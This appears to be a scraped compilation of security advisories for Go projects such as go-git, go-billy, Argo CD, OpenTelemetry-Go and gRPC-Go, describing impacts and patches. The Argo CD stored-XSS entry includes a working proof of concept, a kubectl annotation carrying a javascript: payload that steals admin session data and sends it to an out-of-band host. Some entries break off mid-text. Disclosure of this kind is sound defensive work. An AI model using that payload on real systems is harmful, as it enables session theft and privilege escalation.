Summary

go-billy has path traversal vulnerabilities

Details

Impact

Multiple path traversal issues exist across different components of go-billy. Insufficient path sanitization and boundary enforcement may allow crafted paths (e.g., using ..) to escape intended base directories.

While go-billy was not originally designed to provide a strong security boundary, some of these issues were inconsistent across some of the built-in implementations. This results in scenarios where applications relying on go-billy for some level of isolation may inadvertently expose access to unintended filesystem locations.

The osfs.ChrootOS implementation is notably affected by this vulnerability and is now deprecated in v5, removed at v6. Users are recommended to move on to osfs.BoundOS instead: osfs.New(path, WithBoundOS()).

Users requiring stronger security boundary enforcement are recommended to upgrade to v6, where the osfs implementation are backed by the traversal-resistant primitive os.Root.

Patches

Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-billy version.

Vulnerability from github – Published: 2026-05-19 15:54 – Updated: 2026-05-19 15:54

Summary

Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation

Details

Summary

A user with application write access (developer role) can set link.argocd.argoproj.io/* annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.

Details

Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277

const parts = (url || '').split('|');
<a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'>
    {parts[0]}
</a>

The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='_blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).

Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.

CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only — no script-src, no connect-src, no default-src — providing zero XSS execution mitigation.

PoC

Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, *, */*, allow).

Step 1 — Set malicious annotation as developer:

kubectl annotate application <app-name> -n argocd \
  'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'

The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the javascript: payload is invisible in the displayed text.

Step 2 — Admin opens Summary tab of the annotated application and clicks the link.

Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:

// Payload used during testing (Burp Collaborator OOB):
fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"})
  .then(r => r.json())
  .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))

Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:

{"iss":"argocd","loggedIn":true,"username":"admin"}

Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.

Impact

Stored XSS — payload persists in the Kubernetes Application resource until manually removed
Privilege escalation — developer role → admin session hijacking via authenticated API calls
Maximum stealth — the injected link displays as any attacker-chosen text; the javascript: href is never visible to the victim
No server-side interaction required — purely client-side exploit, no network egress needed for execution (exfiltration uses no-cors fetch, bypassed by absent connect-src CSP)
Any admin or operator who views the Summary tab of the compromised application is affected

Vulnerability from github – Published: 2026-05-19 15:38 – Updated: 2026-06-08 23:43

Summary

go-git: Crafted repositories may modify main and submodule .git directories

Details

Impact

A path validation issue in go-git could allow crafted repository data to affect files outside the intended checkout target, including the repository's .git directory.

These validations were introduced in upstream Git years ago, so the vulnerability arose from go-git drifting from those checks. Some attack vectors were platform-specific: certain payloads affected only Windows users, others affected only macOS users, and some applied across all supported platforms.

Using non-descendant go-billy filesystem instances, or different filesystem types, for the Storer and Worktree may provide some isolation against .git directory manipulation. For example, users that store the .git directory through memfs while using osfs for the worktree are not affected by this vulnerability in the main repository, because repository metadata is not materialized inside the worktree filesystem.

However, this isolation does not necessarily apply when the repository contains submodules, since submodule dotgit directories may still be represented or materialized within the worktree context.

It is important to note that exploitation requires a maliciously crafted repository payload. Users should always exercise caution when interacting with repositories or Git servers they do not trust.

Patches

Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-git version.

  "details": "### Impact\nA path validation issue in `go-git` could allow crafted repository data to affect files outside the intended checkout target, including the repository\u0027s `.git` directory.\n\nThese validations were introduced in upstream Git years ago, so the vulnerability arose from go-git drifting from those checks. Some attack vectors were platform-specific: certain payloads affected only Windows users, others affected only macOS users, and some applied across all supported platforms.\n\nUsing non-descendant `go-billy` filesystem instances, or different filesystem types, for the `Storer` and `Worktree` may provide some isolation against `.git` directory manipulation. For example, users that store the `.git` directory through `memfs` while using `osfs` for the worktree are not affected by this vulnerability in the main repository, because repository metadata is not materialized inside the worktree filesystem.\n\nHowever, this isolation does not necessarily apply when the repository contains submodules, since submodule dotgit directories may still be represented or materialized within the worktree context.\n\nIt is important to note that exploitation requires a maliciously crafted repository payload. Users should always exercise caution when interacting with repositories or Git servers they do not trust.\n\n### Patches\nUsers should upgrade to a patched version in order to mitigate this vulnerability.

Summary

go-git: Credential leak via cross-host redirect in smart HTTP transport

Details

Impact

go-git may leak HTTP authentication credentials when following redirects during smart-HTTP clone and fetch operations.

If a remote repository responds to the initial /info/refs request with a redirect to a different host, go-git updates the session endpoint to the redirected location and reuses the original authentication for subsequent requests. This can result in the credentials (e.g. Authorization headers) being sent to an unintended host.

An attacker controlling or influencing the redirect target can capture these credentials and potentially reuse them to access the victim’s repositories or other resources, depending on the scope of the credential.

Clients using go-git exclusively with trusted remotes (for example, GitHub or GitLab), and over a secure HTTPS connection, are not affected by this issue. The risk arises when interacting with untrusted or misconfigured Git servers, or when using unsecured HTTP connections, which is not recommended. Such configurations also expose clients to a broader class of security risks beyond this issue, including credential interception and tampering of repository data.

Patches

Users should upgrade to v5.18.0, or v6.0.0-alpha.2, in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-git version.

The patched versions add support for configuring followRedirects. In line with upstream behaviour, the default is now initial, while users can opt into FollowRedirects or NoFollowRedirects programmatically.

Vulnerability from github – Published: 2025-03-17 21:26 – Updated: 2025-03-17 21:26

Summary

Memory Exhaustion in Expr Parser with Unrestricted Input

Details

Impact

If the Expr expression parser is given an unbounded input string, it will attempt to compile the entire string and generate an Abstract Syntax Tree (AST) node for each part of the expression. In scenarios where input size isn’t limited, a malicious or inadvertent extremely large expression can consume excessive memory as the parser builds a huge AST. This can ultimately lead to excessive memory usage and an Out-Of-Memory (OOM) crash of the process. This issue is relatively uncommon and will only manifest when there are no restrictions on the input size, i.e. the expression length is allowed to grow arbitrarily large. In typical use cases where inputs are bounded or validated, this problem would not occur.

Patches

The problem has been patched in the latest versions of the Expr library. The fix introduces compile-time limits on the number of AST nodes and memory usage during parsing, preventing any single expression from exhausting resources. Users should upgrade to Expr version 1.17.0 or later, as this release includes the new node budget and memory limit safeguards. Upgrading to v1.17.0 ensures that extremely deep or large expressions are detected and safely aborted during compilation, avoiding the OOM condition.

Workarounds

For users who cannot immediately upgrade, the recommended workaround is to impose an input size restriction before parsing. In practice, this means validating or limiting the length of expression strings that your application will accept. For example, set a maximum allowable number of characters (or nodes) for any expression and reject or truncate inputs that exceed this limit. By ensuring no unbounded-length expression is ever fed into the parser, you can prevent the parser from constructing a pathologically large AST and avoid potential memory exhaustion. In short, pre-validate and cap input size as a safeguard in the absence of the patch.

GHSA-389R-GV7P-R3RP

Vulnerability from github – Published: 2026-05-11 14:48 – Updated: 2026-06-08 23:42

Summary

go-git's improper parsing of specially crafted objects may lead to inconsistent interpretation compared to upstream Git

Details

Impact

go-git may parse malformed Git objects in a way that differs from upstream Git. When commit or tag objects contain ambiguous or malformed headers, go-git’s decoded representation may expose values differently from how Git itself would interpret or reject the same object.

Additionally, go-git’s commit signing and verification logic operates over commit data reconstructed from go-git’s parsed representation rather than the original raw object bytes. As a result, go-git may sign or verify a commit payload that is not byte-for-byte equivalent to the object stored in the repository.

This can cause a signature to appear valid for a commit whose displayed or effective metadata differs from the object that was intended to be signed.

Patches

Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-git version.

Vulnerability from github – Published: 2023-12-27 15:06 – Updated: 2025-01-06 15:20

Summary

Maliciously crafted Git server replies can cause DoS on go-git clients

Details

Impact

A denial of service (DoS) vulnerability was discovered in go-git versions prior to v5.11. This vulnerability allows an attacker to perform denial of service attacks by providing specially crafted responses from a Git server which triggers resource exhaustion in go-git clients.

Applications using only the in-memory filesystem supported by go-git are not affected by this vulnerability. This is a go-git implementation issue and does not affect the upstream git cli.

Patches

Users running versions of go-git from v4 and above are recommended to upgrade to v5.11 in order to mitigate this vulnerability.

Workarounds

In cases where a bump to the latest version of go-git is not possible, we recommend limiting its use to only trust-worthy Git servers.

Vulnerability from github – Published: 2026-04-16 20:44 – Updated: 2026-06-08 23:36

Summary

SpdyStream: DOS on CRI

Details

The SPDY/3 frame parser in spdystream does not validate attacker-controlled counts and lengths before allocating memory. A remote peer that can send SPDY frames to a service using spdystream can cause the process to allocate gigabytes of memory with a small number of malformed control frames, leading to an out-of-memory crash. Three allocation paths in the receive side are affected: 1. SETTINGS entry count -- The SETTINGS frame reader reads a 32-bit numSettings from the payload and allocates a slice of that size without checking it against the declared frame length. An attacker can set numSettings to a value far exceeding the actual payload, triggering a large allocation before any setting data is read. 2. Header count -- parseHeaderValueBlock reads a 32-bit numHeaders from the decompressed header block and allocates an http.Header map of that size with no upper bound. 3. Header field size -- Individual header name and value lengths are read as 32-bit integers and used directly as allocation sizes with no validation. Because SPDY header blocks are zlib-compressed, a small on-the-wire payload can decompress into attacker-controlled bytes that the parser interprets as 32-bit counts and lengths. A single crafted frame is enough to exhaust process memory.

Impact

Any program that accepts SPDY connections using spdystream -- directly or through a dependent library -- is affected. A remote peer that can send SPDY frames to the service can crash the process with a single crafted SPDY control frame, causing denial of service.

Affected versions

github.com/moby/spdystream <= v0.5.0

Fix

v0.5.1 addresses the receive-side allocation bugs and adds related hardening: Core fixes: - SETTINGS entry-count validation -- The SETTINGS frame reader now checks that numSettings is consistent with the declared frame length (numSettings <= (length-4)/8) before allocating. - Header count limit -- parseHeaderValueBlock enforces a maximum number of headers per frame (default: 1000). - Header field size limit -- Individual header name and value lengths are checked against a per-field size limit (default: 1 MiB) before allocation. - Connection closure on protocol error -- The connection read loop now closes the underlying net.Conn when it encounters an InvalidControlFrame error, preventing further exploitation on the same connection. Additional hardening: - Write-side bounds checks -- All frame write methods now verify that payloads fit within the 24-bit length field, preventing the library from producing invalid frames. Configurable limits: - Callers can adjust the defaults using NewConnectionWithOptions or the lower-level spdy.NewFramerWithOptions with functional options: WithMaxControlFramePayloadSize, WithMaxHeaderFieldSize, and WithMaxHeaderCount.

Vulnerability from github – Published: 2026-04-03 03:28 – Updated: 2026-04-06 23:11

Summary

Go JOSE Panics in JWE decryption

Details

Impact

Decrypting a JSON Web Encryption (JWE) object will panic if the alg field indicates a key wrapping algorithm (one ending in KW, with the exception of A128GCMKW, A192GCMKW, and A256GCMKW) and the encrypted_key field is empty. The panic happens when cipher.KeyUnwrap() in key_wrap.go attempts to allocate a slice with a zero or negative length based on the length of the encrypted_key.

This code path is reachable from ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() followed by Decrypt() on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected.

This panic is also reachable by calling cipher.KeyUnwrap() directly with any ciphertext parameter less than 16 bytes long, but calling this function directly is less common.

Panics can lead to denial of service.

Fixed In

4.1.4 and v3.0.5

Workarounds

If the list of keyAlgorithms passed to ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() does not include key wrapping algorithms (those ending in KW), your application is unaffected.

If your application uses key wrapping, you can prevalidate to the JWE objects to ensure the encrypted_key field is nonempty. If your application accepts JWE Compact Serialization, apply that validation to the corresponding field of that serialization (the data between the first and second .).

Thanks to Datadog's Security team for finding this issue.

Vulnerability from github – Published: 2026-05-19 15:21 – Updated: 2026-06-08 23:42

Summary

go-git: Improper single-quote escaping in go-git SSH transport

Details

Impact

go-git's SSH transport constructs the remote exec command by wrapping the repository path in single quotes without escaping single quotes embedded inside the path. This diverges from canonical Git, which shell-quotes the path through sq_quote_buf so that an embedded ' becomes the '\'' close-escape-reopen sequence and the whole path round-trips as a single quoted argument.

A repository path containing a single quote can therefore break out of the quoted region in the exec command and be appended as additional shell tokens. On SSH servers that evaluate the exec command through a shell (for example a user account whose login shell is /bin/sh or /bin/bash, or a ForceCommand wrapper that re-evaluates $SSH_ORIGINAL_COMMAND), those additional tokens execute in that account's command-execution context. SSH servers that tokenize the exec command without shell evaluation, including the canonical git-shell setup, are not affected.

The vulnerable behaviour is on the SSH server side, not in go-git: the same bytes can be produced by any SSH client. The change in go-git is defense-in-depth that restores parity with canonical Git's wire format and prevents go-git from being a vehicle for reaching shell-evaluating servers through attacker-influenced repository paths.

Patches

Users should upgrade to a patched version in order to mitigate this issue. The fix ports sq_quote_buf from canonical Git into go-git's SSH transport so that the wire output is byte-identical to what git itself would send for the same input.

Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-git version.

Vulnerability from github – Published: 2026-02-10 00:28 – Updated: 2026-02-10 02:57

Summary

go-git improperly verifies data integrity values for .idx and .pack files

Details

Impact

A vulnerability was discovered in go-git whereby data integrity values for .pack and .idx files were not properly verified. This resulted in go-git potentially consuming corrupted files, which would likely result in unexpected errors such as object not found.

For context, clients fetch packfiles from upstream Git servers. Those files contain a checksum of their contents, so that clients can perform integrity checks before consuming it. The pack indexes (.idx) are generated locally by go-git, or the git cli, when new .pack files are received and processed. The integrity checks for both files were not being verified correctly.

Note that the lack of verification of the packfile checksum has no impact on the trust relationship between the client and server, which is enforced based on the protocol being used (e.g. TLS in the case of https:// or known hosts for ssh://). In other words, the packfile checksum verification does not provide any security benefits when connecting to a malicious or compromised Git server.

Patches

Users should upgrade to v5.16.5, or the latest v6 pseudo-version, in order to mitigate this vulnerability.

Workarounds

In case updating to a fixed version of go-git is not possible, users can run git fsck from the git cli to check for data corruption on a given repository.

Summary

kubernetes allows nodes to bypass dynamic resource allocation authorization checks

Details

A vulnerability exists in the NodeRestriction admission controller where nodes can bypass dynamic resource allocation authorization checks. When the DynamicResourceAllocation feature gate is enabled, the controller properly validates resource claim statuses during pod status updates but fails to perform equivalent validation during pod creation. This allows a compromised node to create mirror pods that access unauthorized dynamic resources, potentially leading to privilege escalation.

Vulnerability from github – Published: 2026-05-07 01:56 – Updated: 2026-05-11 13:30

Summary

ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction

Details

Summary

There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.

Details

Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:

// server/application/application.go:3051-3062
responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{
    TargetState:     string(diffRes.PredictedLive),
    LiveState:       string(diffRes.NormalizedLive),
})

A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true. When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:

if o.ignoreMutationWebhook {
    predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager)
}

The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.

When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:

kubectl apply --server-side --dry-run=server --field-manager=argocd-controller For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.

Impact

Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.

Vulnerability from github – Published: 2026-04-07 20:12 – Updated: 2026-04-24 20:04

Summary

OpenTelemetry-Go: multi-value `baggage` header extraction causes excessive allocations (remote dos amplification)

Details

multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit.

severity

HIGH (availability / remote request amplification)

vulnerability details

pins: open-telemetry/opentelemetry-go@1ee4a4126dbdd1bc79e9fae072fa488beffac52a as-of: 2026-02-04 policy: direct (no program scope provided)

callsite: propagation/baggage.go:58 (extractMultiBaggage) attacker control: inbound HTTP request headers (many baggage field-values) → propagation.HeaderCarrier.Values("baggage") → repeated baggage.Parse + member aggregation

root cause

extractMultiBaggage iterates over all baggage header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit).

impact

in a default net/http configuration (max header bytes 1mb), a single request with many baggage: header field-values can cause large per-request allocations and increased latency.

example from the attached PoC harness (darwin/arm64; 80 values; 40 requests):

canonical: per_req_alloc_bytes=10315458 and p95_ms=7
control: per_req_alloc_bytes=133429 and p95_ms=0

proof of concept

canonical:

mkdir -p poc
unzip poc.zip -d poc
cd poc
make test

output (excerpt):

[CALLSITE_HIT]: propagation/baggage.go:58 extractMultiBaggage
[PROOF_MARKER]: baggage_multi_value_amplification p95_ms=7 per_req_alloc_bytes=10315458 per_req_allocs=16165

control:

cd poc
make control

control output (excerpt):

[NC_MARKER]: baggage_single_value_baseline p95_ms=0 per_req_alloc_bytes=133429 per_req_allocs=480

expected: multiple baggage header field-values should be semantically equivalent to a single comma-joined baggage value and should not multiply parsing/alloc work within the effective header byte budget. actual: multiple baggage header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes.

fix recommendation

avoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total).

fix accepted when: under the default PoC harness settings, canonical stays within 2x of control for per_req_alloc_bytes and per_req_allocs, and p95_ms stays below 2ms.

GHSA-RG3G-4RW9-GQRP

Vulnerability from github – Published: 2026-05-19 15:54 – Updated: 2026-05-19 15:54

Summary

Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations

Details

Summary

The original fix for GHSA-3v3m-wc6v-x4x3 is incomplete. argocd app diff --server-side-diff can still expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation.

The prior fix masks top-level Secret data in ServerSideDiff responses, but it does not fully sanitize Secret data stored inside the last-applied-configuration annotation. If a Secret was previously created or updated using client-side apply, that annotation may contain raw data, stringData, and sensitive annotations. These values can be shown in UI/CLI diffs.

Details

The ServerSideDiff endpoint returns ResourceDiff.TargetState / LiveState based on server-side dry-run output. Kubernetes server-side dry-run can return a full predicted live Secret object that carries forward existing live annotations, including:

kubectl.kubernetes.io/last-applied-configuration For Secrets created with client-side apply, that annotation can contain a JSON-serialized Secret manifest with sensitive values.

The masking path calls HideSecretData(target, live, ...). However, HideSecretData only rewrites the last-applied annotation on the second argument (live). In server-side diff, the first argument can be predictedLive, not a clean Git target. predictedLive can also contain kubectl.kubernetes.io/last-applied-configuration, so the first object’s embedded annotation can remain unmasked.

PoC

Create an app containing this Secret manifest:

apiVersion: v1
kind: Namespace
metadata:
  name: last-applied-secret-repro
---
apiVersion: v1
kind: Secret
metadata:
  name: secret
  namespace: last-applied-secret-repro

GHSA-HFVC-G4FC-PQHX

Vulnerability from github – Published: 2026-04-08 19:22 – Updated: 2026-04-09 14:29

Summary

opentelemetry-go: BSD kenv command not using absolute path enables PATH hijacking

Details

Summary

The fix for GHSA-9h8m-3fm2-qjrq (CVE-2026-24051) changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms.

Root Cause

sdk/resource/host_id.go line 42:

if result, err := r.execCommand("kenv", "-q", "smbios.system.uuid"); err == nil {

Compare with the fixed Darwin path at line 58:

result, err := r.execCommand("/usr/sbin/ioreg", "-rd1", "-c", "IOPlatformExpertDevice")

The execCommand helper at sdk/resource/host_id_exec.go uses exec.Command(name, arg...) which searches $PATH when the command name contains no path separator.

Affected platforms (per build tag in host_id_bsd.go:4): DragonFly BSD, FreeBSD, NetBSD, OpenBSD, Solaris.

The kenv path is reached when /etc/hostid does not exist (line 38-40), which is common on FreeBSD systems.

Attack

Attacker has local access to a system running a Go application that imports go.opentelemetry.io/otel/sdk
Attacker places a malicious kenv binary earlier in $PATH
Application initializes OpenTelemetry resource detection at startup
hostIDReaderBSD.read() calls exec.Command("kenv", ...) which resolves to the malicious binary
Arbitrary code executes in the context of the application

Same attack vector and impact as CVE-2026-24051.

Suggested Fix

Use the absolute path:

if result, err := r.execCommand("/bin/kenv", "-q", "smbios.system.uuid"); err == nil {

On FreeBSD, kenv is located at /bin/kenv.

Severity ?

7.3 (High)

GHSA-MH63-6H87-95CP

Vulnerability from github – Published: 2025-03-21 22:04 – Updated: 2025-04-10 13:02

Summary

jwt-go allows excessive memory allocation during header parsing

Details

Summary

Function parse.ParseUnverified currently splits (via a call to strings.Split) its argument (which is untrusted data) on periods.

As a result, in the face of a malicious request whose Authorization header consists of Bearer followed by many period characters, a call to that function incurs allocations to the tune of O(n) bytes (where n stands for the length of the function's argument), with a constant factor of about 16. Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)

Details

See parse.ParseUnverified

GHSA-M3XC-H892-GGX6

Vulnerability from github – Published: 2026-05-13 15:29 – Updated: 2026-06-09 10:50

Summary

go-billy: Lack of depth and cycle detection in symlink resolution may lead to infinite loops and resource exhaustion

Details

Impact

Multiple components may improperly handle crafted or malformed input, resulting in panics, infinite loops, uncontrolled recursion, or excessive resource consumption.

These issues arise from insufficient validation and missing safety mechanisms such as cycle detection, recursion limits, or defensive handling of unexpected states when processing untrusted repository data and filesystem structures.

Patches

Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-billy version.

Vulnerability from github – Published: 2026-03-30 17:05 – Updated: 2026-03-31 18:50

Summary

go-git missing validation decoding Index v4 files leads to panic

Details

Impact

go-git’s index decoder for format version 4 fails to validate the path name prefix length before applying it to the previously decoded path name. A maliciously crafted index file can trigger an out-of-bounds slice operation, resulting in a runtime panic during normal index parsing.

This issue only affects Git index format version 4. Earlier formats (go-git supports only v2 and v3) are not vulnerable to this issue.

An attacker able to supply a crafted .git/index file can cause applications using go-git to panic while reading the index. If the application does not recover from panics, this results in process termination, leading to a denial-of-service (DoS) condition.

Exploitation requires the ability to modify or inject a Git index file within the local repository in disk. This typically implies write access to the .git directory.

Patches

Users should upgrade to v5.17.1, or the latest v6 pseudo-version, in order to mitigate this vulnerability.

Credit

go-git maintainers thank @kq5y for finding and reporting this issue privately to the go-git project.

Vulnerability from github – Published: 2026-05-14 20:52 – Updated: 2026-06-29 15:38

Summary

slack-go `SecretsVerifier` accepts empty signing secret without precondition

Details

SecretsVerifier in slack-go/slack before v0.23.1 accepts an empty signing secret without error. If an application is misconfigured (e.g., an unset or empty SLACK_SIGNING_SECRET), NewSecretsVerifier builds an HMAC-SHA256 keyed with an empty string, allowing an unauthenticated attacker to forge a valid X-Slack-Signature and bypass Slack request authentication. Fixed in v0.23.1, which rejects empty secrets with ErrInvalidConfiguration. This is patched in version 0.23.1.

CVE-2025-59537 (GCVE-0-2025-59537)

Vulnerability from cvelistv5 – Published: 2025-10-01 21:01 – Updated: 2025-10-02 15:54

Title

argo-cd is vulnerable to unauthenticated DoS attack via malformed Gogs webhook payload

Summary

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.

CVE-2026-39832 (GCVE-0-2026-39832)

Vulnerability from cvelistv5 – Published: 2026-05-22 02:31 – Updated: 2026-07-03 12:05

Title

Invoking agent constraints dropped when forwarding keys in golang.org/x/crypto/ssh/agent

Summary

When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them.

Severity ?

9.1 (Critical)

CVE-2025-58187 (GCVE-0-2025-58187)

Vulnerability from cvelistv5 – Published: 2025-10-29 22:10 – Updated: 2025-11-20 22:23

Title

Quadratic complexity when checking name constraints in crypto/x509

Summary

Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

Severity ?

7.5 (High)

CVE-2025-59538 (GCVE-0-2025-59538)

Vulnerability from cvelistv5 – Published: 2025-10-01 21:09 – Updated: 2025-10-02 15:54

Title

Argo CD is Vulnerable to Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook

Summary

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. For versions 2.9.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.6 and 3.0.17, when the webhook.azuredevops.username and webhook.azuredevops.password are not set in the default configuration, the /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty. The slice index [0] is accessed without a length check, causing an index-out-of-range panic. A single unauthenticated HTTP POST is enough to kill the process. This issue is resolved in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.

CVE-2026-33186 (GCVE-0-2026-33186)

Vulnerability from cvelistv5 – Published: 2026-03-20 22:23 – Updated: 2026-07-03 12:04

Title

gRPC-Go has an authorization bypass via missing leading slash in :path

Summary

gRPC-Go is the Go language implementation of gRPC. Versions prior to 1.79.3 have an authorization bypass resulting from improper input validation of the HTTP/2 `:path` pseudo-header. The gRPC-Go server was too lenient in its routing logic, accepting requests where the `:path` omitted the mandatory leading slash (e.g., `Service/Method` instead of `/Service/Method`). While the server successfully routed these requests to the correct handler, authorization interceptors (including the official `grpc/authz` package) evaluated the raw, non-canonical path string. Consequently, "deny" rules defined using canonical paths (starting with `/`) failed to match the incoming request, allowing it to bypass the policy if a fallback "allow" rule was present. This affects gRPC-Go servers that use path-based authorization interceptors, such as the official RBAC implementation in `google.golang.org/grpc/authz` or custom interceptors relying on `info.FullMethod` or `grpc.Method(ctx)`; AND that have a security policy contains specific "deny" rules for canonical paths but allows other requests by default (a fallback "allow" rule). The vulnerability is exploitable by an attacker who can send raw HTTP/2 frames with malformed `:path` headers directly to the gRPC server. The fix in version 1.79.3 ensures that any request with a `:path` that does not start with a leading slash is immediately rejected with a `codes.Unimplemented` error, preventing it from reaching authorization interceptors or handlers with a non-canonical path string. While upgrading is the most secure and recommended path, users can mitigate the vulnerability using one of the following methods: Use a validating interceptor (recommended mitigation); infrastructure-level normalization; and/or policy hardening.

Versions prior to 1.79.3 have an authorization bypass resulting from improper input validation of the HTTP/2 `:path` pseudo-header. The gRPC-Go server was too lenient in its routing logic, accepting requests where the `:path` omitted the mandatory leading slash (e.g., `Service/Method` instead of `/Service/Method`). While the server successfully routed these requests to the correct handler, authorization interceptors (including the official `grpc/authz` package) evaluated the raw, non-canonical path string. Consequently, \"deny\" rules defined using canonical paths (starting with `/`) failed to match the incoming request, allowing it to bypass the policy if a fallback \"allow\" rule was present. This affects gRPC-Go servers that use path-based authorization interceptors, such as the official RBAC implementation in `google.golang.org/grpc/authz` or custom interceptors relying on `info.FullMethod` or `grpc.Method(ctx)`; AND that have a security policy contains specific \"deny\" rules for canonical paths but allows other requests by default (a fallback \"allow\" rule). The vulnerability is exploitable by an attacker who can send raw HTTP/2 frames with malformed `:path` headers directly to the gRPC server. The fix in version 1.79.3 ensures that any request with a `:path` that does not start with a leading slash is immediately rejected with a `codes.Unimplemented` error, preventing it from reaching authorization interceptors or handlers with a non-canonical path string. While upgrading is the most secure and recommended path, users can mitigate the vulnerability using one of the following methods: Use a validating interceptor (recommended mitigation); infrastructure-level normalization; 